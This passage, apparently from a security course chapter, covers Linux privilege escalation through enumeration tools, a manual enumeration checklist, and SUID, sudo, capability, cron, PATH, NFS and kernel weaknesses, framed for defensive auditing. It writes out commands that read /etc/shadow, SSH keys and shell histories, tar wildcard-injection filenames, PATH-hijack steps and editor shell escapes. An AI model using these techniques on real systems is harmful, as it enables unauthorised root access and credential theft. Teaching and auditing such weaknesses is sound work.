- Highlights risky permissions using color coding
- Checks SUID binaries, cron jobs, capabilities, and writable files
- Detects kernel exploits and misconfigurations
LinPEAS is powerful but verbose, requiring careful analysis to avoid false assumptions.
📥 https://github.com/carlospolop/privilege-escalation-awesome-scripts-suite/tree/master/linPEAS
2. LinEnum
LinEnum is a lightweight Bash script focused on simplicity and portability.
- Runs on most Linux systems
- Enumerates users, groups, cron jobs, and file permissions
- Ideal for restricted environments
LinEnum produces less output than LinPEAS, making it easier to review manually.
📥 https://github.com/rebootuser/LinEnum
3. Linux Exploit Suggester (LES)
Linux Exploit Suggester focuses specifically on kernel-level privilege escalation opportunities.
- Analyzes kernel version
- Maps kernel to known exploits
- Useful for outdated or legacy systems
📥 https://github.com/mzet-/linux-exploit-suggester
4. Linux Smart Enumeration (LSE)
Linux Smart Enumeration balances depth and readability by prioritizing high-impact checks.
- Focuses on realistic escalation paths
- Produces cleaner output than LinPEAS
- Good for time-limited assessments
📥 https://github.com/diego-treitos/linux-smart-enumeration
5. Linux Privilege Checker
Linux Priv Checker is an older enumeration script that still provides useful baseline checks.
- Simple and easy to understand
- Good for learning privilege escalation concepts
- Less effective on modern hardened systems
📥 https://github.com/linted/linuxprivchecker
📌 Limitations of Automated Tools
While automated enumeration tools are valuable, they have important limitations that testers must understand.
- They may miss custom misconfigurations
- They can generate false positives
- They do not understand application logic
- They cannot replace human judgment
📌 Best Practice Workflow
- Perform basic manual enumeration
- Run one or more automated tools
- Review results carefully
- Validate findings manually
- Proceed to exploitation only when justified
Automated enumeration tools must only be used on systems you own or have explicit written authorization to test.
21.6 Manual Enumeration Checklist
Manual enumeration is the systematic, hands-on process of inspecting a system to understand its configuration, users, permissions, and potential security weaknesses. While automated tools (LinPEAS, LinEnum) are fast and comprehensive, manual enumeration is irreplaceable for finding custom misconfigurations, context-specific issues, and false positives [citation:6][citation:7].
🖥️ 1. System Identification & Kernel Information
Understanding the operating system, kernel version, and hardware architecture is the foundation of any security assessment. This information determines which security patches are missing and helps identify kernel-level vulnerabilities [citation:4][citation:6].
| Command | Purpose | What to Look For (Defensive Red Flags) |
|---|---|---|
hostname |
Display system name | Hostname may reveal system role (e.g., "DC01", "prod-db", "backup") |
uname -a |
All system information (kernel, hostname, architecture) | Old kernel versions (e.g., 2.6.x, 3.x) indicate missing patches [citation:5] |
uname -r |
Kernel release version | Cross-reference with CVE databases; e.g., 3.13.0-24 = CVE-2015-1328 [citation:5] |
uname -m |
Machine architecture | i686 (32-bit) vs x86_64 (64-bit); affects exploit compatibility [citation:6] |
cat /etc/*-release |
OS distribution and version | Ubuntu 14.04, CentOS 6, Debian 8 are end-of-life and unpatched [citation:1][citation:3] |
cat /proc/version |
Kernel + compiler + build info | GCC version may indicate age of system |
hostnamectl |
Systemd-based OS details | Kernel, OS, architecture, virtualization type |
lsb_release -a |
Debian/Ubuntu release info | Confirm Ubuntu/Debian version [citation:1] |
lscpu |
CPU architecture details | Number of cores, virtualization support, architecture [citation:6] |
uptime |
System uptime | Long uptime = system not patched/rebooted recently |
👥 2. User & Group Enumeration
User and group enumeration reveals who has access to the system, what privileges they hold, and whether any accounts are misconfigured or orphaned. This is critical for detecting privilege creep and excessive permissions [citation:1][citation:6].
| Command | Purpose | What to Look For (Defensive Red Flags) |
|---|---|---|
id |
Current user identity (UID, GID, groups) | Unusual group memberships (docker, disk, sudo, wheel, adm) |
whoami |
Current username | Are you root? If yes, why is a low-privilege test needed? |
cat /etc/passwd |
List all system users | Users with shells (/bin/bash, /bin/sh); unexpected service accounts; duplicate UIDs [citation:1][citation:6] |
cat /etc/group |
List all groups | Sensitive groups (sudo, wheel, shadow, disk, video) with excessive members [citation:1] |
groups <username> |
Groups for specific user | Check if standard users are in admin groups [citation:1] |
getent passwd |
Users from all sources (local + network) | Domain users, LDAP accounts; may reveal hidden identities [citation:6] |
getent group |
Groups from all sources | Network group memberships [citation:6] |
sudo -l |
List sudo privileges for current user | CRITICAL: NOPASSWD entries; sudo rights to dangerous binaries (nmap, vim, nano, python, perl, find, less, more, cp) [citation:5][citation:6] |
cat /etc/sudoers |
Global sudo configuration (if readable) | Weak permissions on sudoers file; users with (ALL) ALL; insecure env_keep [citation:3] |
cat /etc/shadow |
Password hashes (root only) | If readable → CRITICAL MISCONFIGURATION [citation:6] |
last |
Last logged-in users | Unauthorized or unusual access times; shared accounts [citation:3] |
who / w |
Currently logged-in users | Multiple sessions; unexpected remote users [citation:3] |
/etc/shadow is readable by non-root users,
this is an immediate, critical misconfiguration. Password hashes can be cracked offline
using John the Ripper or Hashcat [citation:4][citation:6].
📁 3. File System & Permission Auditing
File system enumeration identifies world-writable files, SUID/SGID binaries, weak directory permissions, and sensitive files exposed to unauthorized users. Misconfigured permissions are among the most common privilege escalation vectors [citation:4][citation:7].
| Command | Purpose | What to Look For (Defensive Red Flags) |
|---|---|---|
find / -perm -4000 -type f 2>/dev/null |
Find all SUID binaries | SUID on shells, editors, compilers, or custom scripts. Cross-reference with GTFOBins [citation:1][citation:5][citation:7] |
find / -perm -2000 -type f 2>/dev/null |
Find all SGID binaries | Group privilege escalation; files inheriting group permissions [citation:8] |
find / -writable -type d 2>/dev/null |
World-writable directories | /tmp, /var/tmp, /dev/shm are expected. Others (/, /etc, /usr/bin) are critical [citation:8] |
find / -perm -222 -type d 2>/dev/null |
World-writable directories (alternate) | Same as above; prioritize non-standard locations [citation:8] |
find / -name "*.conf" -type f 2>/dev/null |
Configuration files | World-readable configs with passwords; weak permissions on /etc/ [citation:3] |
find / -name "id_rsa" -o -name "id_dsa" -o -name "authorized_keys" 2>/dev/null |
SSH private/public keys | World-readable private keys; keys left in home directories; keys in /root [citation:1][citation:3] |
find / -type f -perm -0777 2>/dev/null |
World-writable and executable files | Any system binary with 777 permissions is a severe risk [citation:8] |
find / -user root -perm -4000 2>/dev/null |
SUID binaries owned by root | Most dangerous category; potential for direct root escalation [citation:8] |
ls -laR /etc/ |
Recursive listing of /etc | Weak permissions on critical config files (passwd, shadow, sudoers, crontab) [citation:4] |
ls -la /home/*/.ssh/ |
User SSH directories | Writable authorized_keys; exposed private keys [citation:1] |
getcap -r / 2>/dev/null |
List files with Linux capabilities | cap_setuid, cap_setgid, cap_dac_override, cap_sys_admin on non-standard binaries [citation:5] |
pkexec, cve-2021-4034)
can lead to direct root compromise. Always verify why SUID is needed [citation:2][citation:5].
⚙️ 4. Process & Service Enumeration
Process enumeration reveals which applications are running, under which user context, and whether any services are running with excessive privileges. This can uncover vulnerable software, misconfigured daemons, and rogue processes [citation:1][citation:4].
| Command | Purpose | What to Look For (Defensive Red Flags) |
|---|---|---|
ps aux |
All running processes with user | Processes running as root (apache, mysql, custom scripts); unusual process names [citation:1][citation:5][citation:6] |
ps aux | grep root |
Filter root-owned processes | Services that should NOT run as root (web servers, database servers, file servers) [citation:1][citation:4] |
ps -ef |
Full format process list | Parent-child relationships; orphaned processes [citation:4][citation:8] |
ps axjf |
Process tree | Visual hierarchy; identify processes spawned by unauthorized users [citation:8] |
top -b -n 1 |
Snapshot of resource usage | High CPU/memory processes; unusual binary names |
systemctl list-units --type=service --all |
All systemd services | Enabled but unnecessary services; custom services running as root |
cat /etc/services |
Service name to port mappings | Unusual custom service definitions |
ls -la /etc/init.d/ |
SysV init scripts | World-writable init scripts; scripts running as root [citation:3] |
🌐 5. Network Enumeration
Network enumeration identifies listening services, active connections, routing tables, and ARP caches. This helps defenders understand the system's network exposure and detect unauthorized backdoors or lateral movement paths [citation:1][citation:7].
| Command | Purpose | What to Look For (Defensive Red Flags) |
|---|---|---|
ifconfig or ip addr show |
Network interfaces and IPs | Unexpected interfaces; promiscuous mode (sniffing); multiple IPs [citation:1][citation:7] |
netstat -antup |
All TCP/UDP connections and listening ports | Services bound to 0.0.0.0 (all interfaces); unusual high ports; backdoors [citation:1] |
netstat -ltp |
TCP listening ports with process | Which processes are exposing network services; unauthorized services [citation:7] |
ss -tuln |
Modern netstat replacement | Same as above; faster, more reliable [citation:7] |
route or ip route show |
Routing table | Multiple default routes; routes to internal networks; pivoting opportunities [citation:1] |
arp -a |
ARP cache | Recent neighbors; lateral movement targets [citation:1] |
cat /etc/resolv.conf |
DNS servers | Internal DNS servers; potential for DNS exfiltration |
lsof -i |
List open network files | Alternative to netstat/ss [citation:7] |
⏰ 6. Scheduled Tasks (Cron & Systemd Timers)
Cron jobs and systemd timers are scheduled tasks that often run with root privileges. Misconfigured cron jobs—writable scripts, wildcard injection, insecure PATH—are a common and high-impact privilege escalation vector [citation:3][citation:5][citation:6].
| Command | Purpose | What to Look For (Defensive Red Flags) |
|---|---|---|
crontab -l |
Current user's cron jobs | Unexpected jobs; jobs running as current user [citation:1][citation:7] |
cat /etc/crontab |
System-wide cron table | CRITICAL: World-writable cron scripts; jobs running as root with relative paths; wildcard usage (*) [citation:3][citation:5] |
ls -la /etc/cron* |
List all cron directories | Writable permissions on cron.d, cron.daily, cron.hourly, etc. [citation:1][citation:3] |
cat /etc/cron.d/* |
Contents of cron.d directory | Third-party cron jobs; custom schedules [citation:7] |
cat /var/spool/cron/crontabs/* |
User crontabs (root accessible) | Privileged user cron jobs; root's personal crontab [citation:1][citation:3] |
cat /etc/anacrontab |
Anacron jobs | Jobs that run regardless of system uptime [citation:3] |
systemctl list-timers --all |
Systemd timers (modern alternative) | Systemd-based scheduled tasks; check for root-executed scripts |
cat /etc/cron.allow /etc/cron.deny |
Cron access control lists | Who is allowed/disallowed to use cron [citation:1][citation:3] |
tar * or chmod *
with root privileges, attackers can create files with filenames matching command-line options
(e.g., --checkpoint=1, --checkpoint-action=exec=shell.sh) to execute
arbitrary code [citation:1][citation:6].
📦 7. Installed Software & Package Audit
Outdated and unpatched software is one of the most direct paths to privilege escalation. Enumerating installed packages and their versions allows defenders to identify vulnerable applications and prioritize patching [citation:4][citation:6].
| Command | Purpose | What to Look For (Defensive Red Flags) |
|---|---|---|
dpkg -l |
List installed packages (Debian/Ubuntu) | Old versions of sudo, kernel, openssl, apache, mysql, php [citation:1][citation:6] |
rpm -qa |
List installed packages (RHEL/CentOS/Fedora) | Same as above; focus on kernel and critical services [citation:1][citation:6] |
which python python3 perl gcc g++ |
Check for compilers/interpreters | Compilers allow building exploits locally; interpreters can be abused with sudo rights [citation:4][citation:5] |
sudo --version |
Sudo version | Check for CVE-2021-3156 (Baron Samedit), CVE-2019-14287, CVE-2021-23240 [citation:9] |
apache2 -v or httpd -v |
Apache version | Old Apache versions (2.2, 2.4 < 2.4.49) have known RCE/LPE |
mysql --version |
MySQL version | Root privilege escalation via UDF or weak configs [citation:3] |
📜 8. Command History & Sensitive Information
Command history files often contain plaintext passwords, API keys, database connection strings, and other sensitive data inadvertently typed by users. This is a passive information gathering method that requires no system modification [citation:1][citation:6].
| Command | Purpose | What to Look For (Defensive Red Flags) |
|---|---|---|
cat ~/.bash_history |
Current user's Bash history | Passwords typed with -p flags (mysql, curl, wget, smbclient); credentials in git clones; sudo commands [citation:1][citation:7] |
cat ~/.zsh_history |
Zsh history | Same as above [citation:7] |
cat ~/.mysql_history |
MySQL client history | Plaintext database passwords [citation:3] |
cat ~/.nano_history |
Nano editor history | File paths; potential configuration exposure [citation:3] |
cat ~/.viminfo |
Vim editor info | Recently edited files; may include sensitive configs |
cat ~/.ssh/id_rsa |
SSH private key | CRITICAL: If world-readable, immediate compromise risk [citation:1] |
grep -rni "PASSWORD" /etc/ 2>/dev/null |
Search for password strings in /etc | Hardcoded passwords in config files (db.php, wp-config.php, .env) [citation:2][citation:3] |
grep -rni "PASSWORD" /var/www/ 2>/dev/null |
Search webroot for credentials | Database passwords in web application configs [citation:2] |
🐳 9. Container & Virtualization Detection
Systems running inside containers (Docker, LXC) or virtual machines have different privilege escalation risks. Container escapes can lead to host compromise, while VM escapes are rare but critical [citation:3].
| Command | Purpose | What to Look For (Defensive Red Flags) |
|---|---|---|
cat /proc/1/cgroup |
Detect Docker/LXC container | Presence of "docker", "lxc", "kubepods" indicates container [citation:3] |
ls -la /.dockerenv |
Docker environment marker | If file exists → Docker container |
cat /sys/class/dmi/id/product_name |
Virtualization platform | VirtualBox, VMware, KVM, QEMU, Xen [citation:3] |
systemd-detect-virt |
Detect virtualization | Identifies container/VM type |
find / -name "docker*" 2>/dev/null |
Docker installation | User in docker group = root equivalent [citation:5] |
docker group is equivalent
to root access without a password. Users can mount the host filesystem and execute commands
as root [citation:5].
🔧 10. Environment Variables & PATH
Environment variables control program behavior and can be manipulated to hijack execution flow. A writable PATH or insecure LD_PRELOAD/LD_LIBRARY_PATH can lead to privilege escalation when combined with SUID binaries [citation:6][citation:8].
| Command | Purpose | What to Look For (Defensive Red Flags) |
|---|---|---|
env |
Display all environment variables | API keys, tokens, passwords in environment; PATH with . (current directory) [citation:6][citation:8] |
echo $PATH |
Show executable search path | CRITICAL: PATH starts with . or : or includes writable directories [citation:6] |
cat ~/.bashrc |
User shell configuration | Custom PATH modifications; insecure aliases; exported credentials |
cat ~/.profile |
User profile script | Same as above |
cat /etc/environment |
System-wide environment | Global PATH issues; default variables |
cat instead of /bin/cat), and the PATH can be modified,
an attacker can create a malicious binary that executes with root privileges [citation:2][citation:4].
📋 Complete Manual Enumeration Checklist Summary
hostname
uname -a
cat /etc/*-release
cat /proc/version
lscpu
id
sudo -l
cat /etc/passwd
cat /etc/group
getent passwd
find / -perm -4000 2>/dev/null
find / -writable -type d 2>/dev/null
getcap -r / 2>/dev/null
find / -name id_rsa 2>/dev/null
ps aux | grep root
netstat -antup
ss -tuln
systemctl list-units
crontab -l
cat /etc/crontab
ls -la /etc/cron*
systemctl list-timers
cat ~/.bash_history
grep -r "PASSWORD" /etc/
cat ~/.ssh/id_rsa
env | grep PASS
✅ Defensive Enumeration Summary
Manual enumeration is a system administrator's best practice, not just a penetration tester's tool. Regularly auditing your own systems using this checklist will:
- ✅ Identify unauthorized privilege grants and permission creep
- ✅ Detect unpatched software before attackers do
- ✅ Discover exposed credentials and hardcoded secrets
- ✅ Validate that least-privilege principles are enforced
- ✅ Provide documentation for compliance and audits
- Start with manual enumeration to understand the system context [citation:6].
- Cross-reference with automated tools (LinPEAS, LinEnum) to catch what you missed [citation:5][citation:7].
- Document all findings in a structured report.
- Prioritize remediation based on risk (sudo misconfigurations, world-writable system files, exposed credentials are CRITICAL).
- Re-audit after fixes to verify hardening [citation:7].
21.7 SUID Binary Exploitation (Conceptual & Defensive)
🧠 What is SUID? (Set owner User ID)
📄 Full Article: SUID Privilege Escalation
SUID (Set owner User ID) is a special Linux file permission that allows a user to execute a binary with the permissions of the file owner (usually root), not the permissions of the user running it. This is necessary for legitimate programs like passwd, sudo, and ping.
/usr/bin/passwd is SUID root. A standard user needs to modify /etc/shadow to change their password. Without SUID, this would be impossible.
🔥 Why SUID Misconfigurations Are Dangerous
- ✔ Privilege Creep: Binaries that no longer require SUID retain elevated permissions.
- ✔ Vulnerable Binaries: Outdated SUID binaries (e.g., old
pkexec,cve-2021-4034) can be exploited. - ✔ Custom Scripts: Administrators sometimes set SUID on custom scripts without understanding the security implications.
- ✔ GTFOBins: Many standard Linux binaries have known "weird" functionality that can be abused when SUID is set.
🔍 Auditing for SUID Misconfigurations (Defensive Commands)
| Command | Purpose | Defensive Red Flag |
|---|---|---|
find / -perm -4000 -type f 2>/dev/null |
Find all SUID binaries | Shells (bash, sh), editors (vim, nano), compilers (gcc) with SUID |
find / -user root -perm -4000 -type f 2>/dev/null |
SUID binaries owned by root | Most dangerous category; cross-reference with GTFOBins |
find / -perm -2000 -type f 2>/dev/null |
Find SGID binaries | Group privilege escalation (e.g., sgid on /usr/bin/crontab) |
📋 Common SUID Binaries That Require Scrutiny
/usr/bin/pkexec(CVE-2021-4034)/usr/bin/sudo/usr/bin/mount
/usr/bin/umount/usr/bin/crontab/usr/bin/at
/usr/bin/chsh/usr/bin/chfn/usr/bin/gpasswd
- Remove SUID from binaries that do not absolutely require it.
- Use
capabilitiesinstead of SUID where possible. - Regularly audit SUID binaries with automated tools.
- Monitor for new SUID files with file integrity monitoring (AIDE, Tripwire).
21.8 Sudo Misconfigurations (Conceptual & Defensive)
sudo rules create privilege escalation risks. Commands shown are for auditing /etc/sudoers and understanding privilege boundaries—never for exploitation.
🔐 What is Sudo?
📄 Full Article: Sudo Misconfiguration
Sudo (superuser do) allows a permitted user to execute a command as another user (usually root) according to rules in /etc/sudoers. When configured correctly, sudo provides granular, audited privilege escalation. When misconfigured, it grants unintended root access.
🔥 High-Risk Sudo Misconfigurations
| Misconfiguration | Example in /etc/sudoers | Risk |
|---|---|---|
| NOPASSWD | user ALL=(ALL) NOPASSWD: ALL |
No password required for any command; any session becomes root. |
| Dangerous Binaries | user ALL=(ALL) /usr/bin/vim, /usr/bin/nano, /usr/bin/less |
Editors/pagers can spawn shells (:!bash, !/bin/sh). |
| Passwordless Service Restarts | %webteam ALL=(ALL) NOPASSWD: /usr/bin/systemctl restart apache2 |
If the service binary is writable or can be replaced, escalation is possible. |
| env_keep with LD_PRELOAD | Defaults env_keep += "LD_PRELOAD" |
Users can inject malicious libraries into sudo commands. |
🔍 Auditing Sudo Permissions (Defensive)
| Command | Purpose | Defensive Red Flag |
|---|---|---|
sudo -l |
List current user's sudo privileges | NOPASSWD entries; commands that can escape to shell (vim, less, more, cp, find, nmap) |
cat /etc/sudoers | grep -v "^#" |
View active sudo rules | Overly permissive rules; insecure env_keep; users in sudo group without restrictions |
grep "NOPASSWD" /etc/sudoers |
Find passwordless sudo entries | Any NOPASSWD entry for non-admin users is high risk |
sudo -l | grep -E "(vim|nano|less|more|cp|find|nmap|tcpdump)" |
Check for dangerous commands | These commands often allow shell escapes; verify business need |
🛡️ Defensive Sudo Hardening
- ✅ Principle of Least Privilege: Users should only have sudo access to specific commands they need.
- ✅ Require Passwords: Avoid
NOPASSWDexcept for fully isolated, non-interactive scripts. - ✅ Use Command Aliases: Group allowed commands in
/etc/sudoers.d/for clarity. - ✅ Disable LD_PRELOAD: Set
Defaults noexecor removeenv_keepfor dangerous variables. - ✅ Audit Logs: All sudo commands are logged to
/var/log/auth.log; monitor for unusual activity.
%webteam ALL=(root) /usr/bin/systemctl status apache2, /usr/bin/systemctl restart apache2This allows the webteam to check and restart Apache—but not run arbitrary commands.
21.9 Linux Capabilities Abuse (Conceptual & Defensive)
🎯 What are Linux Capabilities?
📄 Full Article: Linux Capabilities
Capabilities are a fine-grained alternative to the all-or-nothing root privilege model. Instead of granting full root access, specific capabilities (e.g., CAP_NET_RAW, CAP_DAC_OVERRIDE) are assigned to binaries. When capabilities are assigned incorrectly, low-privilege users can escalate privileges.
🔥 Dangerous Capabilities
| Capability | Description | Risk if Misassigned |
|---|---|---|
CAP_SETUID |
Change UID/GID arbitrarily | Binary can set its effective UID to 0 (root). |
CAP_DAC_OVERRIDE |
Bypass file read/write/execute permissions | Binary can read/write any file, including /etc/shadow. |
CAP_SYS_ADMIN |
Extensive system administration privileges | Often considered "root-lite"; allows mounting filesystems, configuring network, etc. |
CAP_NET_RAW |
Use raw and packet sockets | Allows packet crafting and spoofing; ARP poisoning, SYN floods. |
CAP_SYS_PTRACE |
Trace arbitrary processes | Can inject code into root-owned processes. |
🔍 Auditing for Capabilities (Defensive)
| Command | Purpose | Defensive Red Flag |
|---|---|---|
getcap -r / 2>/dev/null |
Recursively list all files with capabilities | cap_setuid+ep on any binary other than /usr/bin/ping; cap_dac_override on editors/compilers |
capsh --print |
Show current user's capabilities | Unusual capabilities in non-root shells |
filecap /path/to/binary |
Check capabilities (if libcap-ng-utils installed) | Same as getcap; human-readable output |
📋 Real-World Capability Misassignment (Defensive View)
Misconfiguration: sudo setcap cap_dac_override+ep /usr/bin/python3.9
Risk: Python can now read and write any file on the system, including /etc/shadow and SSH private keys.
Defense: Never assign CAP_DAC_OVERRIDE to interpreted languages or binaries that accept user input.
- Regularly audit files with
getcap -r /. - Remove capabilities from binaries that do not explicitly require them.
- Use
setcaponly with specific, justified requirements. - Prefer file permissions and sudo over capabilities for most use cases.
21.10 Writable /etc/passwd & Shadow Abuse (Conceptual & Defensive)
/etc/passwd or /etc/shadow is writable by non-root users, the system is fundamentally compromised. This section explains why these files must be strictly protected.
📄 Why /etc/passwd and /etc/shadow Are Sacred
📄 Full Article: /etc/passwd Abuse
/etc/passwd stores user account information (username, UID, GID, home directory, shell).
/etc/shadow stores password hashes and aging information.
ROOT-ONLY /etc/shadow should NEVER be readable or writable by non-root users.
ROOT-ONLY /etc/passwd should be world-readable (for mapping UIDs to usernames) but ONLY writable by root.
🔥 What Happens When These Files Are Writable?
- Attacker can add a new root user (UID 0).
- Attacker can change existing user's UID to 0.
- Attacker can change shell of an existing user to
/bin/bash. - Immediate, persistent root access.
- Readable: Password hashes can be cracked offline.
- Writable: Attacker can replace root hash with known password.
- Attacker can disable password aging or lockout.
🔍 Auditing File Permissions (Defensive)
| Command | Expected Permission | Defensive Red Flag |
|---|---|---|
ls -la /etc/passwd |
-rw-r--r-- (644) |
Group/other write permission (620, 662, 777) |
ls -la /etc/shadow |
-rw-r----- (640) or -rw------- (600) |
World-readable (644, 666); group-readable if group is not shadow |
find /etc -name "passwd" -o -name "shadow" -perm -o+w 2>/dev/null |
No output | Any world-writable passwd/shadow file |
🛡️ Defensive Hardening
- ✅ Fix Permissions Immediately:
sudo chmod 644 /etc/passwd; sudo chmod 640 /etc/shadow - ✅ Verify Owner:
sudo chown root:root /etc/passwd; sudo chown root:shadow /etc/shadow - ✅ Use File Integrity Monitoring: AIDE, Tripwire, or osquery to alert on changes to these files.
- ✅ Regular Audits: Include passwd/shadow permissions in weekly security checks.
/etc/passwd (second field, e.g., root:x:0:0:root:/root:/bin/bash — the "x" indicates shadow is used). If the second field contains a hash instead of "x", the system is not using shadow and is extremely vulnerable.
/etc/passwd or readable /etc/shadow, consider the system compromised and initiate incident response.
21.11 Cron Job Exploitation (Conceptual & Defensive)
⏰ What are Cron Jobs?
📄 Full Article: Cron Job ExploitationCron is a time-based job scheduler in Unix-like systems. System administrators use cron to automate maintenance tasks (backups, updates, log rotation). Cron jobs often run with root privileges. Misconfigured scripts, writable files, or insecure paths in cron can allow low-privilege users to execute arbitrary code as root.
🔥 High-Risk Cron Misconfigurations
| Misconfiguration | Description | Risk |
|---|---|---|
| Writable Cron Script | A script executed by root cron is world-writable. | Any user can modify the script; next execution runs attacker's code as root. |
| Insecure PATH in Crontab | Cron uses a PATH that includes world-writable directories. | Attacker places malicious binary in writable directory; cron executes it as root. |
| Wildcard Injection | Cron command uses * wildcard with tar, chmod, or rsync. |
Attacker creates files with names that become command-line options (e.g., --checkpoint=1). |
| Script Calls Relative Paths | Cron script calls python, wget, or bash without absolute path. |
PATH hijacking; attacker's version of binary executes. |
🔍 Auditing Cron Jobs (Defensive)
| Command | Purpose | Defensive Red Flag |
|---|---|---|
cat /etc/crontab |
System-wide cron table | Writable scripts; relative paths; wildcards in commands; PATH includes /tmp or . |
ls -la /etc/cron.d/ |
Additional cron directories | World-writable files; unexpected entries |
ls -la /etc/cron.daily/ /etc/cron.hourly/ /etc/cron.weekly/ /etc/cron.monthly/ |
Periodic cron directories | Writable scripts; unauthorized scripts |
crontab -l |
Current user's cron jobs | User-specific cron running with elevated privileges (unusual) |
find /etc/cron* -type f -perm -o+w 2>/dev/null |
Find world-writable cron files | Any world-writable cron script is CRITICAL |
grep -r "tar.*\*" /etc/cron* 2>/dev/null |
Find wildcard usage in tar | Potential wildcard injection vulnerability |
⚠️ Wildcard Injection Deep Dive (Defensive)
Vulnerable Cron Entry:
* * * * * root tar czf /backup/backup.tar.gz /var/www/*
Why It's Dangerous: Tar's command-line options can be passed via filenames. If an attacker can create files in /var/www/ named:
--checkpoint=1--checkpoint-action=exec=shell.sh
Result: Tar executes shell.sh with root privileges.
Defense: Use absolute paths; avoid wildcards in cron; use -- to separate options from files.
🛡️ Defensive Cron Hardening
- ✅ Use Absolute Paths:
/usr/bin/python3 /scripts/backup.pynotpython3 backup.py. - ✅ Restrict Script Permissions: Cron scripts should be owned by root and NOT writable by others (
chmod 700or750). - ✅ Avoid Wildcards: Replace
*with explicit file lists or usefindwith-exec. - ✅ Secure PATH: Define
PATH=/usr/bin:/bin:/usr/sbin:/sbinat the top of crontab. - ✅ Restrict Cron Access: Use
/etc/cron.allowand/etc/cron.denyto control who can schedule jobs. - ✅ Log and Monitor: All cron executions are logged; monitor for failed jobs and unusual command paths.
SHELL=/bin/bash
PATH=/usr/bin:/bin:/usr/sbin:/sbin
MAILTO=admin@example.com
0 2 * * * root /usr/local/bin/backup.sh
21.12 PATH Variable Hijacking (Conceptual & Defensive)
PATH environment variable can be manipulated when privileged programs do not use absolute paths. Commands are shown for defensive auditing and secure coding awareness.
🛣️ What is the PATH Variable?
📄 Full Article: PATH Manipulation
PATH is a colon-separated list of directories that the shell searches for executables. When you type ls, the shell looks in each PATH directory until it finds an executable named ls. If a privileged program (SUID or sudo) calls an external command without an absolute path, an attacker who can modify PATH can hijack execution.
/bin/ls) instead of relative paths (ls) in privileged programs and scripts.
🔥 How PATH Hijacking Works (High-Level)
- A SUID binary or root cron job calls
system("ls")or similar without absolute path. - Attacker creates a writable directory and places a malicious binary named
lsinside it. - Attacker modifies PATH to place their writable directory FIRST:
export PATH=/tmp/exploit:$PATH. - Privileged program runs; shell finds attacker's
lsinstead of/bin/ls. - Malicious binary executes with root privileges.
🔍 Auditing for PATH Vulnerabilities (Defensive)
| Command | Purpose | Defensive Red Flag |
|---|---|---|
echo $PATH |
Display current PATH | PATH contains . (current directory) at the start; writable directories before system directories |
find / -perm -4000 -type f 2>/dev/null | xargs -I {} strings {} | grep -E "system|popen|exec" |
Find SUID binaries calling external commands | Any SUID binary using system() without absolute path is high risk |
grep -r "system" /usr/local/bin/ 2>/dev/null |
Audit local binaries for system() calls | Custom scripts/binaries with unsafe command execution |
for dir in $(echo $PATH | tr ":" " "); do ls -ld $dir 2>/dev/null; done |
Check permissions of PATH directories | World-writable directories in PATH |
🛡️ Defensive PATH Hardening
- ✅ Secure Coding: Always use absolute paths in
system(),popen(),execvp(). - ✅ Remove
.from PATH:export PATH=${PATH#.:}; never include.in root's PATH. - ✅ Use
execve()with explicit environment:execve("/bin/ls", args, env); - ✅ Audit SUID/SGID binaries: Regularly scan for programs that call external commands.
- ✅ Restrict PATH in Cron: Define explicit PATH at top of crontab.
system() for simplicity. In privileged programs, this is extremely dangerous. Prefer library APIs (e.g., unlink() over system("rm")).
21.13 NFS & File Share Misconfigurations (Conceptual & Defensive)
no_root_squash, it allows remote users to create files with root ownership. This section explains the risk and defensive configuration.
🔗 What is NFS Root Squashing?
📄 Full Article: NFS Misconfiguration
Root squashing (root_squash) is a security feature in NFS that maps remote root user (UID 0) to the anonymous user (nobody/nfsnobody). This prevents a client's root user from having root privileges on the NFS server.
When no_root_squash is enabled, this protection is disabled—remote root can create files as UID 0 on the server.
🔥 High-Risk NFS Export Options
| Export Option | Description | Risk |
|---|---|---|
no_root_squash |
Client root retains root privileges on server | CRITICAL: Client can create SUID root binaries on the server |
rw + wide subnet |
Read-write access granted to entire subnet | Any compromised machine in subnet can modify shared files |
insecure |
Allows connections from ports above 1024 | Unprivileged users can mount NFS shares |
no_all_squash |
Preserves UIDs/GIDs of all users | If UIDs match across systems, privilege escalation possible |
🔍 Auditing NFS Configurations (Defensive)
| Command | Purpose | Defensive Red Flag |
|---|---|---|
cat /etc/exports |
View NFS export configuration | no_root_squash, insecure, rw to broad networks (0.0.0.0/0) |
showmount -e localhost |
List exported shares | Shares visible to unauthorized clients |
find / -mount -type f -perm -4000 2>/dev/null |
Find SUID binaries on local filesystems | SUID binaries on NFS-mounted directories indicate potential misconfiguration |
🛡️ Defensive NFS Hardening
- ✅ ALWAYS use
root_squash: This is the default and should never be disabled. - ✅ Restrict exports to specific IPs:
/shared 192.168.1.100(rw,root_squash)not*(rw). - ✅ Use
noexec,nosuidmount options: Prevent binary execution and SUID on client mounts. - ✅ Use NFSv4 with Kerberos:
sec=krb5provides authentication and encryption. - ✅ Audit SUID binaries on NFS shares: Remove SUID from any binary on network-mounted storage.
/backup 192.168.1.0/24(rw,root_squash,sync,no_subtree_check)
/projects 10.0.0.5(rw,root_squash,sec=krb5)
no_root_squash in production, investigate immediately. Assume the server and any client that mounted the share may be compromised.
21.14 Kernel Exploits (Conceptual & Defensive)
🔐 What Are Kernel Privilege Escalation Vulnerabilities?
📄 Full Article: Kernel VulnerabilitiesThe kernel is the core component of an operating system. It manages hardware, memory, processes, and enforces security boundaries (user vs kernel space).
A kernel vulnerability allows a low-privileged user to break these boundaries and execute code with kernel (root/SYSTEM) privileges.
🔥 Why Kernel Exploits Are Extremely Dangerous
- ✔ Bypass All Controls: They bypass sudo restrictions, file permissions, SELinux/AppArmor, and container isolation.
- ✔ System-Wide Impact: Affects every process and user on the system.
- ✔ Persistence: Kernel-mode code can hide from user-mode detection tools.
- ✔ Difficult to Detect: Kernel rootkits are notoriously hard to discover.
- ✔ One-Shot Root: A single flaw can turn any local user into root.
📋 Notable Linux Kernel Vulnerabilities (Defensive Awareness)
| CVE | Name/Description | Affected Versions | Defensive Takeaway |
|---|---|---|---|
| CVE-2016-5195 | Dirty Cow (race condition in copy-on-write) | Linux kernel 2.6.22+ (2007-2016) | Patch within hours of disclosure; affected nearly all Linux systems for 9 years. |
| CVE-2021-4034 | PwnKit (pkexec SUID bypass) | All pkexec versions (2009-2022) | Remove SUID from pkexec if unused; patch immediately. |
| CVE-2022-0847 | Dirty Pipe (arbitrary file overwrite) | Linux kernel 5.8+ | Patching critical; allowed unprivileged users to write to read-only files. |
| CVE-2023-3269 | StackRot (stack expansion race condition) | Linux kernel 6.1-6.4 | Immediate patching required for affected versions. |
🔍 Detecting Kernel Vulnerabilities (Defensive)
